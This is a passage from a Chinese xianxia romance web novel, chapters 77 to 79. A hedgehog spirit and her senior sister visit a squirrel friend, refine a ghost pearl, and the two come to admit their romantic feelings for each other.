自那以后,小刺猬虽仍旧日日开心的样子,但与许多半生不熟的妖保持着距离,鲜少再交友。 小松鼠不知道宗门是什么东西,但听别的妖说过,宗门里的人都很厉害。 厉害的人总是有自己的脾气,小刺猬的性子,会不会在宗门受欺负。 她不敢问小刺猬,而且,小刺猬就算被欺负了,也不会告诉她。 向来是报喜不报忧的性子。 裴依宁明白小松鼠的话了,她沉默一瞬。自己曾经欺骗过小刺猬,好像没有资格在小松鼠面前做保证。 但,她说:“我不会欺负她。宗门内的师姐妹们也不会欺负她。” 小刺猬是在一炷香后回来的,有灵剑的协助,抓几条鱼简简单单。 小刺猬背着比身体大许多的背篓,两条鱼在背篓中跳动,小刺猬左摇右晃地跑近,拎起背篓绳,向后一甩,一带,抱住背篓。 她抹把额头,展示此去成果:“看,如何?” 一副等待夸奖的表情。 小松鼠跳上背篓边缘,两条活蹦乱跳的鱼溅得她全身都是水。 顶着被打湿的毛发,小松鼠惊讶道:“我许久没见过这么大的鱼了,星星学了好多本领。” 裴依宁:“的确很厉害。” 小刺猬反倒被夸得不好意思了:“师姐打算做什么?” 裴依宁道:“一条烤,另一条,做个鱼汤,可以吗?” 小刺猬看向小松鼠:“松鼠姐姐,可以吗?” 小松鼠点头如捣蒜:“可以可以。” 裴依宁去处理两条鱼。 小刺猬坐到松鼠边上,给对方使了个净身术,打湿的毛发瞬间变得干燥顺滑。 松鼠更加惊奇:“星星好厉害。” 小刺猬笑道:“松鼠姐姐要不要修炼,日后也好有个防身之术。或是想要吃什么,有灵力会好很好。” “就像那两只鱼,不费吹风之力就可以抓住。” 松鼠身体往后靠,两只爪子反撑着地面。最后索性直接躺在地上,一片蔚蓝色映入眼帘:“不了,要是真想修炼,当年云樾姐教你,劝我一起学的时候,我就一起了。” 她捻起一块小石子往远处丢去,欲言又止:“星星,云樾姐还是没有消息吗?” 云樾突然离去,至今没有下落。当初星星离开前,留给她一封信,说若是云樾回来,将信转交给云樾。 可这么长时间过去,星星都去而复返了,云樾姐依旧没有回来。 甚至回音都没有。陷著腐 对于毫无修为的小松鼠来说,数年的时间已经占据生命的大部分时光了。 “有了点消息。”小刺猬轻声道,“我不久后,会去见姐姐的。” 松鼠:“有消息就好。” 不远处的人在慢条斯理地起火搭建,分明一件很普通的事,在女人身上,有种无法形容的美感。 那种浑然天生的气质,绝非一朝一夕可得。 松鼠问:“你和那位师姐是好朋友吗?” 这是废话,若不是好朋友,星星怎么会带回来。 松鼠正要换个方式问,小刺猬已经回答了:“是也不是。” 松鼠:“啊?什么意思?” 小刺猬想了想,道:“我和师姐是很亲密的关系。就是那种,独一无二的亲密。” 松鼠被她说得有些晕。 谈天说地地聊了会,松鼠坐起身:“我去帮帮你师姐。” 小刺猬拦住她:“我去吧。我现在可是能稳定人形了。” 说着,小刺猬化成人形,蹲下身勾住松鼠的尾巴:“我现在可厉害了。” 松鼠愣了愣,抽回尾巴:“去吧去吧,再不去,你师姐都要做好了。” 云榆打趣了几句,跑去帮裴依宁了。 瞧见人过来,裴依宁不紧不慢地转动烤棍:“怎么过来了?不陪松松多聊会。” 云榆将袖子扯到臂弯,弯身接过烤棍:“没关系,松松姐本来要过来帮你,被我拦住了。”她眉宇间凝着几分愧疚,“对不起,师姐,没跟你商量擅自做决定。” 裴依宁毫不在意,将她额头的碎发勾到耳后,揉揉她的脸:“总要吃点东西的。你不饿吗?” 云榆:“有点。” 裴依宁笑:“那不就得了。” 雾气弥漫,模糊了两人的面容,松鼠在不远处看去,云榆正端着熬煮鱼汤的小锅,笑得很开心地同身边的女人说些什么。 女人神色柔和地倾听,在云榆说完后,女人敲了敲她的脑袋,而云榆只是抱着脑袋傻笑。 独一无二的亲密关系。松鼠歪着头。 两人的确是亲密的过分了。她只是看着两人的互动就能感受到。 星星何时与其她的人或者妖这般过。 这样也好,有个能交心的人。 作者有话说: 第78章 第七十八章[VIP] 饭后, 小松鼠尾巴盖住肚子,悠闲地平躺在草地上。云榆已经化成了小刺猬形,拽住小松鼠的尾巴往身上拉。 两只小动物许久没有见面,聊不完的话。 裴依宁坐在小刺猬身边, 细长的手指塞入小刺猬的爪子中, 引得小刺猬双爪抱住,摆弄小玩具地绕着她的手。 她安静地听两只小动物交流, 有时会被点到, 回答一两句小刺猬或者是小松鼠的问题。 小松鼠轻微移动松软的尾巴:“星星,这次回来, 还走吗?” 气氛因这句话凝固瞬,觉察到抱住她手指的爪子力度大了几分, 裴依宁指尖点了几下刺猬的小爪子,无声地安抚情绪沉下的小刺猬。 小松鼠:“你现在是宗门之人,肯定是要回去的。你要好好修习,我们这点地,可就只有你和云樾姐, 还有东头的那几只妖迈入修途了。” 小松鼠摊开两爪, 望着天空:“快入冬了, 这里的河流都要被冻住。我储存了好多松果准备过冬。对了, 前段时间新搬来好几只小动物, 其中有一只土拨鼠, 就住我隔壁,打了几个洞, 分了两个给我, 让我放东西。她这些天忙着运食物,囤食物, 见不着影,不然还能介绍给你认识……” 小松鼠将小刺猬走后的变化说了遍。 其中还包括那只曾经欺负过小刺猬的兔子,几个月前搬去了别的地方。 小刺猬说不上是什么心情,不过出去了趟,回来后,这里便发生了翻天覆地的变化。新的面孔越来越多,旧的相识越来越少。 下次回来,会不会全是生面孔。 小刺猬无意识地捏紧裴依宁,对于修炼者而言,几年的时光不过转瞬即逝,她曾听闻原师姐数年前的一次闭关就是二十年。 可对于寻常生物,二十年足够地漫长,漫长到足以见证一个地方的兴衰变故。 小刺猬咽住喉咙。 裴依宁揉揉小刺猬的爪子,传音给小刺猬:【我们不急着走,你还需要炼化鬼珠与灵珠,等冬季来临,我们再走也不迟。】 小刺猬眼睛亮了:【谢谢师姐。】 小刺猬低落的心情上扬些,迫不及待地将这条好消息分享给小松鼠:“松松姐,我这次回来,会多留一段时间。” 松鼠尾巴摇动频率快了些,歪头看了会她,又看向一直不言语的裴依宁,头往另一个方向歪去,干巴巴,生硬无比地说:“留下干嘛,我可没那么多食物分给你。你别荒废了修炼,东头的那几只妖,可是日夜苦修的。” 在小松鼠的思维中,星星只是和关系亲密的人路过此地。而裴依宁除却与星星的亲密关系外,还是另一层身份——星星的师姐。 她不知道裴依宁给星星传音的事,只知道,师姐没说话,星星冒然提议留下,或许会引得宗门不快,对未来修炼有所影响。 小刺猬有些无措:“我没有荒废修炼……” 裴依宁淡淡打断她:“没关系,她留在这,不会影响修炼进度,松松不用担心。” 有裴依宁发话,小松鼠稍稍放心,口是心非地点了几句小刺猬,最后道:“既然这样,就留下来吧。” 分明语气中是抑制不住的欢快。 小动物情绪表露的总是很明显,失落与喜悦刹那间转变。 晚饭过后,小松鼠依依不舍的和小刺猬挥爪告别,连带着不忘和裴依宁告别:“星星,裴裴,我得回去了,你们还需要什么吗?” 小刺猬摇头:“没有了,松松姐,慢点,明日见。” 小松鼠身形灵活地游走在树木与枝桠间,在那抹小小的身影快要消失时,离去的小松鼠调转方向,拐了回来。 小刺猬迎上去。 裴依宁只见得小刺猬和小松鼠头对头,四只小爪子握在一起。 不多时,小松鼠又离开了。 待到小松鼠的身影彻底不见,小刺猬慢悠悠地转回来,挪动到女人面前,紧握的小爪子抬起,爪心朝上,摊开。 两颗包裹斑斓的小糖静静地躺在小刺猬的爪心。 糖扁扁的,有些融化,糖纸的边缘溢出一点透明的,又凝结成块的不规则凸起。 小刺猬满怀欣喜,骄傲地展示所得:“看,松松姐姐特意给我留的,超级好吃的糖。” 裴依宁蹲下身,身形慢慢缩小,直到与小刺猬差不多高:“有多好吃?” 小刺猬形容不出来,她捻起一颗,不管不顾地坐下,快速地解开层层叠叠的纸包,而后往女人唇边一伸,漆黑的眸子亮亮的:“尝尝?” 糖纸上方黏连着透明的细丝,是融化的糖果。小刺猬也看见了,她爪子往回缩缩:“师姐好像不喜欢吃甜的。” 她主动给裴依宁寻了个台阶。 爪子被握住,牵扯力往缩回的反方向拉去,裴依宁微垂下头,咬住那块半融化的糖果,在舌尖卷过,甜意顷刻间弥漫整个口腔。 裴依宁:“的确很好吃。”她顿了顿,糖块在牙齿上碰撞,“星星是想要吃独食吗?” 小刺猬呆愣一瞬,将另一颗糖果填入口中,眼睛弯下:“没有,本星星才不吃独食。” 裴依宁垂眼,视线不自觉落到小刺猬的肚子上,昨晚睡在上面的触感尤在,今夜应当是睡不了了。 有些可惜。 那颗糖的甜残留在唇齿间,裴依宁好似明白了小刺猬为何能被养得这么纯真热情了。 小小的人和小小的刺猬一前一后地回到洞府,裴依宁反手关上木门,自空间储物中取出缩小的灵珠和鬼珠。 沉吟片刻,没有立刻递上去。 这岂不是暴露了她可以将外物同样地缩小。 小刺猬届时说不定要质问她,为什么昨晚不将被褥缩小拿出的事。 裴依宁问:“星星,困吗?” 小刺猬精神气十足:“不困。” 裴依宁道:“白日松松要来找你,只能晚间炼化鬼珠与灵珠。若是星星愿意,我们现在上去,找一处僻静之地,将这两样物品炼化。” 小刺猬重重点头:“好,”她有所迟疑,“依我现在的能力,只怕是无法一晚完全炼化这两物,中断会不会有影响。” 她颇有自知之明,知晓自己有几斤几两,白白废了这两物,她属实心疼。 裴依宁:“不会,分而炼之,有我在一旁辅助,今晚先将鬼珠炼制,明日再炼化灵珠。” 于是乎,一人一妖爬出洞口。 裴依宁恢复正常大小,给自己使了个净身术,转头,小刺猬已然化成人形,蹦蹦跳跳地窜近她:“师姐。” 云榆对此地熟悉,环顾一圈,指向一处墨色浓重的地方,语调欢快:“师姐,跟我来。” 一炷香后,两人面前出现一汪湖泊,蜿蜒的河流与四通八达的水系糅合交融。 湖泊的周围,拢着几棵高耸的树木,月光影影绰绰地洒在湖面,泛着水光的波纹似是有自己的生命力,怡然地一浪接着一浪。 云榆介绍:“这里夜间很少有妖过来,师姐想的话,可以在这里沐浴洗漱,我可以替师姐守着。” 净身术虽好用,可远不及水流落在身上的实质感。 裴依宁悄无声息地掐个指诀,灵识向外扩散,一旦有物体踏入,她会立刻感知到。 她将鬼珠拿出:“好啊,不过星星当务之急,是把这个炼化了。” 鬼珠脱离鬼物身体太久,里面蕴含的鬼力会点点流逝,这也是裴依宁希望云榆能尽早炼化的原因。 昨日奔波,云榆显然没有精力,今日她与松松相会,好友长时间未见,裴依宁不想让别的事打扰星星和松松相处。 云榆在湖泊边盘腿而坐,灵海内的灵珠转动,灵气自毛孔出溢出,缓缓包裹住鬼珠。 旋即,在灵力的不断加持下,鬼珠飘至云榆头顶,灰黑色的雾气自鬼珠中溢出。 在抵抗云榆的灵力。 但鬼物品阶不高,这股抵抗之力并不太,数个呼吸后,散出的黑雾被从边缘蚕食。 灰黑色雾气占有的空间越发狭小,被灵气挤压成一团。 本能的,鬼珠存着零星的意识,想要逃跑保命。 可瞬间就被云榆的灵力覆盖,裹住。 裴依宁懒散地靠在一棵古木边,掀起眼皮,那颗转动不已的鬼珠表面开始融化。 像是那颗被保存许久的糖果般,外表出现一层近乎透明的水液。 但透明很快被黑色晕染。 云榆额头闪出细密的汗珠,神经紧绷,脑海中因鬼珠的影响,形成一幅幅画面。 而在这些画面中,出现最多的,是裴依宁。 鬼物无法将她拉入幻境,只能侵入她的大脑,依此减缓被炼化的速度。 豆大的含住从额角滑落,滴落在草地上。 不知过去了多长时间,天边泛起鱼肚,朦胧地光影落在眼皮上。 经过一夜的努力,那枚鬼珠只剩下墨点般的大小。 裴依宁收回目光,灵识向外扩展百米,随即一步步往湖泊走去。 湖水没过她的脚踝,没过她的膝盖,没过她的腰身,直至没过锁骨。 裴依宁停下,淅淅沥沥的水声随着她的一举一动发出。 她心中默数几声。 那枚鬼珠被彻底炼化。 云榆收回灵力,喘息着向前扑去,半趴着呼吸。手肘支撑上半身,她扬头向前看去。 不期然地与正在湖水中沐浴的人对上视线。 离得有些远,她没有用灵力附加在眼睛上,不确定师姐看得是不是在看她。只隐约看见浮动的手臂和晃动的水面波纹。 她微微迷起眼,眼睫上的一滴汗水滚入她的眼中,渍得她忍不住捂住那只眼。 一只眼下,远处的事物似乎清晰几分。 师姐没看她。 一股奇妙的感觉充盈在心头。 不知遗憾师姐没看她,还是庆幸师姐没看她。 云榆两条腿使力,捂着眼睛站起。她倒退着往后走,直到后背贴上粗糙的树干,顺势靠过去。 不觉想到幻境中越发清晰的人脸和在炼化鬼珠时,不断闪过的面容,云榆重重咬住舌尖。 她突然不愿学幻术,不是因为她所谓的贪多嚼不烂,而是害怕,在修习过程中,自身的欲念先一步扩散,将自己围困在自己编织的幻境中。 舌尖钝痛感让她清醒许多,云榆抹去眼角的汗,双手反撑着树干,视线移向别的地方。 这里夜间少有生物来,现今朝阳初升,不知会不会有别的生物打扰到师姐沐浴。 她竖起耳朵,提高警惕,一时忘记自己是修行之妖,大可以释放出灵识,感知周围事物的靠近。 水声仿佛在耳边响起,云榆不经意地往湖中扫去,裴依宁正在靠近湖岸边。 结束了。 云榆松懈下。 忽而,一声巨大的拍水声响起,裴依宁身形晃动,竟是向后退去些。 她神经略有慌张,弯下身,在水中摸索着。 莫不是湖中有别的生物。 她许久未归,若是有水系生物入住湖中,也未可知。她应当事先询问松松姐,再带师姐过来的。 云榆顾不得旁的,懊恼地跳入湖中,朝裴依宁游去:“师姐。” 裴依宁半支起眼睑,莹白的肌肤露在空气中,挂着的水聚成一滴滴水珠,分布其上。有几颗挂不住,摇摇欲坠地流下,与湖水汇聚成一体。 被水流浸润过,裴依宁脸颊薄而清透,仿佛能瞧见皮肤下的色彩。 云榆呼吸窒住,脚下一滑,湖水灌入口鼻中。 位置互换,成了她惊慌失措地拍打湖面,扑腾地抓不住落点。 裴依宁一把捞住她,按到怀中。 可惜还是慢了半步,云榆鼻腔涩疼,一连灌了好几口水。抓住救命稻草的紧紧回抱住裴依宁。 湿透的发丝一缕缕耷拉成结,鼻腔带着呼吸的疼,云榆下巴搭在裴依宁雪白的肩头上呼吸。 裴依宁:“星星,好点了吗?别说话,师姐带你上岸。” 云榆浑浑噩噩地摇着头,无力地拒绝:“等会。” 仅存的理智告诉她,她又在师姐面前丢面了。 还是在自己生活了许多年的地方,她自己的地盘上丢面了。 还有什么比这更让妖绝望的吗? 有的。 云榆掌心下是滑腻的触感,她定睛一看,是裴依宁白皙如玉的肌肤。 云榆:“……” 她触电般地收回手,道歉:“师姐,我……我不是故意的。” 水声不断,她转过身,舔唇:“师姐,我不是人,我是妖。我……” 她混乱地说着更加混乱的话。 她咬住舌尖,疼痛让她清醒,得以更好的组织语言:“师姐,我是妖族人,对人族了解不深,方才我不是故意的,我向你道歉……” 裴依宁轻慢地打断她:“不必。” 她道:“被呛到了,现在还难受吗?” 身后水声响起,云榆头皮紧张到发麻:“不难受。” 裴依宁自后牵住她,将小妖往湖岸边带。 在即将上岸时,云榆猛地一个闭眼。 裴依宁被她这般举动逗到,歪头不解地询问:“怎回事?我又不是没穿衣服,你那么大的反应做什么?” 云榆这才睁眼,意识在短暂的休止中完全清醒。 裴依宁上岸后,她方才看见,对方身上那被水浸润的,单薄的里衣。 滑顺的衣衫在上岸后被蒸干,柔柔地随风轻微浮动。 的确是有衣服的。 而滑腻的触感,是绸缎被水打湿,加之她过于紧张导致感知和视觉出错。 还好。 云榆庆幸。 裴依宁好笑地朝她伸出手,一把将小妖拉上来:“我下水时,你正到炼化鬼珠的关键时刻。就没同你言说。” 发丝滴着水,裴依宁轻叹声:“既然已经炼化好,帮师姐看着四周。这次,可不要轻易下水了。” 云榆还没明白师姐的意识,刚上岸的人又一次下了水。 云榆老老实实地看管四周,心中模拟询问,若是师姐再出现类似于溺水或者水中东西扯住的情景,她是否要下水。 但直到裴依宁二次上岸,都没有出现一开始的情况。 裴依宁换好一身衣衫,携带微弱的水汽和满身的清香:“你要下水吗?” 几日没正儿八经的碰水,她灵力又是水属性的,自是想要亲近水流,踌躇片刻,她迟疑地道:“麻烦师姐为我守着。” 她反身钻去水中,属性的亲近感让她忍不住在心底喟叹。 云榆忽想起她刺猬形时,曾在裴依宁面前入水的画面,以及那次洗髓伐骨,意识混沌时,恍惚中看见裴依宁面容的事。 她按住太阳穴。 后一件事一旦被记起,就如同一块巨石压下。 她会害羞。 心事重重地上了岸,云榆慢吞吞地擦拭快被灵力蒸干的发丝,一步步慢慢挪到裴依宁附近,故作无意地提起:“师姐,我洗髓伐骨的事,你知道么?” 裴依宁挑眉:“那洗髓液是我炼制的。” 云榆:“……嗯。我是说,洗髓伐骨那夜,我好像看见师姐了。” 那时因为不知道裴依宁的身份,所以她下意识地否决了。 如今细想,真有可能是裴依宁。 裴依宁盯着她看了好一会,云榆被看得皮肤发烫。 她转移话题:“太阳升起来了。” 裴依宁:“那夜,我的确在。”她道,“你每次的轮换,都是我亲手做的。” 云榆:“……” 师姐果然在。 裴依宁问:“星星介意这件事吗?” 云榆怎么会介意,本体都被看过了,更何况是人形,但心底烧着一团名为“羞涩”的火焰。 她吐出一口气:“不介意。” 裴依宁弯下唇,揉揉她的脸颊:“榆木一只。” 师姐又说她是榆木。 云榆默默给某位师姐记上一笔。 裴依宁往外走:“还不走吗?” 云榆追上去:“我来了。” 没再回到洞内,刚沐浴完,就在洞口爬来爬去,不美观。 而且,算算时间,再过一会,松松姐就要来找她了。 “昨日的鱼汤,我放了些延年益寿的药株。”裴依宁突然道。 云榆心神震颤。 裴依宁道:“我没能在松松身上感知到灵力。”险竹府 她不知道妖族人寿数如何,可昨日与松松的相处中,出于丹修的直觉,她能感知到松松体内缓缓流逝的生命力。 人族,妖族,亦或者魔族人争先恐后踏入修炼的原因,何尝不是因为此。 云榆拔下一根草叶:“嗯,松松姐没有修炼过。” 裴依宁了然。 万事万物都具有两面性,修炼之途,亦有许多人不愿意踏足。 松松就是后面那种。 云榆道:“其实,我们这里,很多妖都不喜修炼。我是被姐姐硬拉着修炼的。” 身边一道视线投过来,云榆笑道:“但我现在可是一门心思地想要提升修为。” 她还要去见姐姐,让姐姐知道,即使姐姐不在身边,她云小刺猬也有好好修炼,有很强的自控能力。 她原先做好的打算是,踏入绿灵,就去找寻姐姐。 可见过宗门师姐们的厉害,又因上次与苍焰宗比试受伤,以及问玉宫宫主展露出的实力,云榆深知,绿灵不够。 远远不够。 她要更加努力才行。 “星星。”松松一个冲刺落到云榆身边。 小松鼠插着腰,打量云榆:“人形不及本体顺眼。” 云榆笑着变回本体:“这样顺眼吗,松松姐。” 小松鼠:“顺眼多了。” 注意到一旁的人,小松鼠一碗水端平:“裴裴人形很好看。” 小刺猬傲娇:“她想变成小动物也不成啊。” 星星为自己是小刺猬感到骄傲。 裴依宁无奈地:“是。” 腰间的宗门令牌闪动,裴依宁下意识拿起,紧接着,一道灵识钻入灵海。 是灵丹堂的人。 许是有事,裴依宁低声和小刺猬说了声,往另一处走去。 借用令牌与灵丹堂内的人用灵识交流。 小松鼠拐拐她:“昨日没来得及问你,你和裴裴关系怎么这么好?” 小刺猬心虚地摸摸鼻子,没有隐瞒地将和裴依宁相遇的过程说了遍,但她隐去裴依宁一开始用假身份的事。 说着说着,小刺猬捂住头。 因为贪吃与裴大师姐认识,怎么想都觉得不可思议。 小松鼠:“这事,真是你能做出来的。” 对于其中小刺猬说到的亲密关系,小松鼠随口一问:“你说的什么只一人的亲密关系是什么?” 小刺猬不知道怎么说这个。 在她的观念中,她和裴依宁的确很亲密,可真要说出,无从下口。 小刺猬言简意赅地:“就是我可以亲她的关系。” 小松鼠:“哦。” 反应过来,小松鼠失声:“你说什么关系?” 什么叫可以亲她的关系。 星星出去一趟,竟然反过来骗人了?亏她还担心星星被裴依宁骗。 小刺猬被震得激灵,刚要解释,一只爪子拍在她头上:“笨蛋星星。” 小刺猬委屈地捂住头:“松松姐……” 小松鼠被她气到:“你……你个渣刺猬,我要向云樾姐告状!” 作者有话说: 对不起,来晚了 这段时间太忙了 这章掉落52个小红包 第79章 第七十九章[VIP] 小刺猬佝着身, 双爪抱紧脑袋。 她的脑门这几日被敲打太多次,裴依宁敲她,如今连松松姐都敲她了。 她委屈巴巴地扬起水灵灵的眼睛,鼻头耸动, 不明所以地哼哼几声:“松松姐, 你打我。” 小松鼠气势汹汹:“打得就是你,你个渣刺猬, 你知不知道亲亲是只能和喜欢的妖做的。”意识到裴依宁是人, 小松鼠悄咪扫过去,“也只能和喜欢的人做。” 她从小刺猬的话语中, 拼凑出一个久不出门的,除修炼外什么都不通, 被小刺猬花言巧语哄骗的师姐形象。 还是个实力高深,地位超绝的师姐。 小松鼠绝望地闭上眼,若是哪日裴依宁知晓小刺猬对她做的轻薄之事…… 小松鼠心惊肉跳,尾巴在地上烦躁地甩来甩去。 小刺猬默默出声:“师姐说,喜欢我。我也喜欢师姐。” 小松鼠握拳垂爪, 提到嗓子眼的心沉下, 轻松地道:“那就是两情相悦。” 在修士中, 称这个叫什么来着。小松鼠绞尽脑汁, 终于想出了那个称呼:“道侣, 你和裴裴是道侣。那就没事了。” 道侣间亲亲自是可以, 但这只小刺猬竟然没有第一时间跟自己介绍,还是她猜出来的。 小松鼠想再敲一次小刺猬的脑门, 让她长长记性。 可谁知某只小刺猬:“我和师姐不是道侣。我们只是一种很亲密的关系。” 道侣。 上次听, 还是问亦云替姐姐转交东西时,说她和姐姐是道侣。 刚刚放松的小松鼠一颗心卡回嗓子眼, 她语气硬邦邦的:“裴裴的实力是不是很强。” 小刺猬点头。 小松鼠:“……你能在她手下支撑几招?” 小松鼠迟疑地摇摇头,她不知道。师姐应该可以直接把现在的她当成小萝卜打进地底。 小松鼠:“……完了。你现在胆子越来越大了,连这种高人都敢骗,”尾巴卷住一脸茫然的小刺猬,往背后一甩,小松鼠快速往裴依宁所在的反方向飞奔,“趁她没反应过来,你赶紧避避风头,那个宗门实在不行别回了。” 她边跑边咬牙切齿地:“等她知晓你对她做的时有多么过分,她一定会将你的刺一根根拔下来。昨日的烤鱼就是你的明日!” 小松鼠只恨自己爪子不够,不能跑得更快。 被带着的小刺猬后知后觉的反应出小松鼠话中意思,茫然地抓住小松鼠脊背的毛发:“这种事只能和道侣做吗?” 小松鼠恨铁不成钢:“不然呢?你觉得我会和你亲亲吗?” 小刺猬低声反驳:“我也不会和你亲亲。” 她和师姐做的事,是只有道侣间可以做的吗? 她不觉攥紧身下松鼠的毛,定定地注视那层柔软的毛发。 她知道她和师姐间的关系过于亲密了,和师姐做的任何一件亲密之事,换成其她人或妖,她都不可能做的。 可师姐就是师姐。 她和师姐的亲密关系维持在现在这个点就很好。如今这层薄膜被小松鼠戳穿,她不得不思考和裴依宁之间的关系。 师姐无数次说她是榆木。 其实,她没有那么榆木。 只是很多时候,不愿意深想,不愿意踏出更多的步子。 她的羞涩,她的情绪,她的身体……传达出的意思,都被她主动的,被动的忽视。 没能思考多久,余光中一抹浅蓝色的衣摆掠过。一阵急停,小刺猬在惯性的作用下,差点飞出去。 裴依宁挡住小松鼠的去路,扩散的灵识中唯有不明物体进入,两只小动物怎么不打招呼就跑了。 她不得其解地:“发生什么了?” 小松鼠一双眼睛快要瞪出,支支吾吾地:“啊,裴裴,哈哈,没事,没事,我突然想到我家地洞没关。” 裴依宁看向小刺猬:“星星?”现驻服 小刺猬从小松鼠背上麻溜地滚下,挡在小松鼠身前,抿唇:“松松姐带我去关地洞。” 这个理由…… 裴依宁浅色瞳孔倒映出小刺猬的模样,她无奈地蹲在小刺猬身前,捏捏小刺猬的刺:“嗯?” 小松鼠心狂跳。 这是现在就要拔刺了吗? 裴依宁:“我记得松松家不是这个方向。” 小松鼠尾巴拉住小刺猬,疯狂按下躁动的心,趁着裴依宁还没意识到被星星欺骗的事,道:“那边能通往我家。裴裴在这等一会,我们很快就回来。” 裴依宁眉梢半挑,她当时正和灵丹堂的师妹传完灵识,转头就瞥见小松鼠捞起小刺猬逃命似地跑。 只是因为地洞的门没关? 这个借口信服力过小。 裴依宁静悄悄等了小刺猬几秒,让开身位:“好。” 小刺猬被扔回背上,为了避免引起裴依宁的警惕,小松鼠这是的速度慢了许多,临走前还和裴依宁告别。 一路看不见裴依宁的影了,小松鼠气喘吁吁地藏到树丛中,将小刺猬放下,瘫软在地:“累死松鼠了。” 小刺猬低着头,思绪因小松鼠的几句话和裴依宁适才的眼神而翻涌不断。 小松鼠尾巴点点她:“跑不动了,休息会。” 这么远的距离,完全是小松鼠求生本能的驱使。 她歪头,小刺猬捻着一根短木在地上勾勾画画。 小松鼠凑过去,脑袋从下面看去,思考片刻,试探地问:“星星,你是不是不想和裴裴分开?” 她只顾着带星星逃命,没来得及询问更多。现在停下,求生感褪去些,她想到昨日小刺猬和裴依宁亲密无间的举止。 云樾姐离开时,星星还小,云樾姐定然是没来得及教星星相关知识。星星对于感情之事,想必了解不深。 小刺猬:“嗯。” 小松鼠双爪背在身后,踌躇几步,叹息:“罢了。” 云樾姐没来得及教的,由她教给星星。 小松鼠坐到小刺猬身前,双爪扶着小刺猬,迫使后者抬头看她。松松一本正经地:“你喜欢她?” 小刺猬点头。 小松鼠:“和喜欢我的喜欢,是同一样喜欢吗?” 小刺猬迟疑地摇头。 她对于松松姐,更多的是对亲人的喜欢,对裴依宁,更多了别的意味。 小松鼠抱住尾巴:“你除了想亲她外,有没有想过更亲密的事。” 小刺猬眨眨眼,上次她和师姐亲吻,她想过更深入的吻,于是,她点头。 她想的。 小松鼠又问了几个问题,下定论:“你喜欢她,是对道侣的那种喜欢。” 小刺猬:“……” 但裴依宁对小刺猬的喜欢,是何种喜欢,是被小刺猬骗着亲亲,带回来的吗? 小松鼠委婉地问去。 某只过于诚实的小刺猬:“师姐说过,只能和她这样亲,只能和她一人保持这种亲密关系。” 小松鼠:“……” 她真是高估星星,低看裴依宁了。她就说,她家星星纯情成这副样子,怎么可能会主动亲人。 是裴依宁先主动的,可恶的人,就会骗什么都不懂的小刺猬。 不对,亲密关系的结论还是星星下的。星星这是只亲不打算给名分,好像更过分。 小松鼠刚烧起来的,准备找裴依宁算账的念头被浇灭。 但妖心总是偏的,小松鼠卷起小刺猬,又是一扔,强打起气势,恶狠狠地往回跑:“笨蛋星星,裴裴对你一定也是道侣的喜欢。她是故意被你欺负的!” 小刺猬彻底凌乱了,被小松鼠转变的话语扰得直上直下的,她趴伏在小松鼠背上,消化那些话。 师姐无数次看她的眼神,和对她的好一一浮现,从未认真深究这些的小刺猬爪子颤动。 她对师姐原来是对道侣的喜欢吗?那些有意无意忽视的感觉一一呈现,无不告诉她,她对师姐的喜欢并不单纯。 师姐对她是否也像小松鼠说得那样。 裴依宁定定地守在原地,两只小动物的气息远去停下,现在去而复返,肉眼可见的出现在地平线边缘。 她不清楚两只小动物因何而离,又因何而走,小刺猬被松松带走前,看她的眼神带着躲闪。 她抚平心绪,两只小动物完整的出现在她面前。小刺猬被小松鼠爪臂揽在后面。 小松鼠义愤填膺地直视裴依宁,到底还是有几分心虚,毕竟小刺猬占不了多少理。但无理辩三分是这片地上妖族惯常的手段。 小松鼠:“裴裴,你是不是喜欢星星!” 小刺猬身体颤动,晶亮的眸子打量着面前这个关系亲密的女人,爪心紧张地握在一起。 不知紧张于裴依宁说喜欢她,还是紧张于裴依宁说不喜欢她。 那种喜欢。 原来是因为这个。 裴依宁只是瞧小刺猬的反应就猜出几分,她不确定小松鼠给小刺猬讲解了多少,但这个时候再含糊过去,就错过让这只榆木开窍的最好时机了。 裴依宁:“松松,我能单独与星星说几句吗?” 小松鼠防备心不减,但毕竟是比小刺猬大,知道的也比小刺猬多。 她现在的确不应该插在小刺猬和裴依宁中间。她转身拍拍小刺猬,对裴依宁道:“我数一千个数,就会回来。” 裴依宁点头:“可以。” 小松鼠离开了。 小刺猬缩成一团小球,脊背上的刺耸动不断,闷闷的声音从下面传来:“师姐。” 裴依宁戳戳她:“星星不应该变成人形和我交谈吗?” 脊背的刺耸动地越发快,小刺猬犹犹豫豫地舒展身体,脑袋瓜低着,哼出一个小小的“嗯”字。 裴依宁等她调整好。 小刺猬慢慢化成人形,蹲在地上,双手环抱住双腿,脸埋在腿间,一瞬不瞬地盯着鞋边的一棵绿叶。 裴依宁道:“星星,松松那个问题,我曾经回答了数次。”她停顿两秒,听见自己清冷温润的声线响起,“我喜欢你,很喜欢你。” 她蹲在云榆前方,抚上云榆的后背,缓而慢地摩挲轻抚:“星星。” 同样的回答,现在听见仍旧有种难以言喻的欣喜感。 她哼哼地说:“松松姐说,你对我,是……那种喜欢。” 道侣两个字烫口到她说不出来。 裴依宁:“嗯?” 云榆眼一闭,心一狠,牙一咬:“道侣。” 囫囵地快速说过,两个字音几近黏在一起。 裴依宁分辨出,她轻笑,依旧是:“嗯。” 云榆猛地抬起头,四目相对,裴依宁坦然而自若,瞳孔中只有她一方小小的倒映。 裴依宁很平静地“嗯”了声,很平静地补充:“的确如松松所言,我对你,是那种对道侣的喜欢。” “那星星对我的喜欢呢?”裴依宁甚少如此逼问云榆,平缓的口吻诉说着让云榆震颤不已的话,“只是对师姐的喜欢吗?” 她叹息,怜惜地揉揉云榆的发顶:“星星,你是真的不开窍,还是不愿意开窍?” 云榆神经紧绷。 裴依宁还在说:“其实我算不得你的心思,但,这么久,星星总该能有所感受吧。” 小松鼠将这道薄膜戳出一个洞,有微风从洞中穿过。裴依宁要将这个小洞彻底扯下,迎接狂风擦身。 云榆怯懦着,无声地搅动那棵草叶,在小松鼠面前尤能说几句,可在裴依宁面前,身体僵硬,她仿佛丧失了语言能力,一句话都说不出。 裴依宁给足她时间。 在云榆看不见的地方,她五指嵌入掌心,隐约有血丝溢出,女人感受不到般地低垂眼睑。 终于,在不知道过了多久,某只怯懦的小妖拥有了不完善的语言能力:“感受到。” 愿意说话就是好的。 裴依宁安抚地揉揉小妖。 半晌后,云榆脑袋一点一点地:“道侣的喜欢。” 是感受到裴依宁对她是道侣的喜欢,还是她对裴依宁是道侣的喜欢。 分开的两句话,结合起来,是两种截然不同的意思。 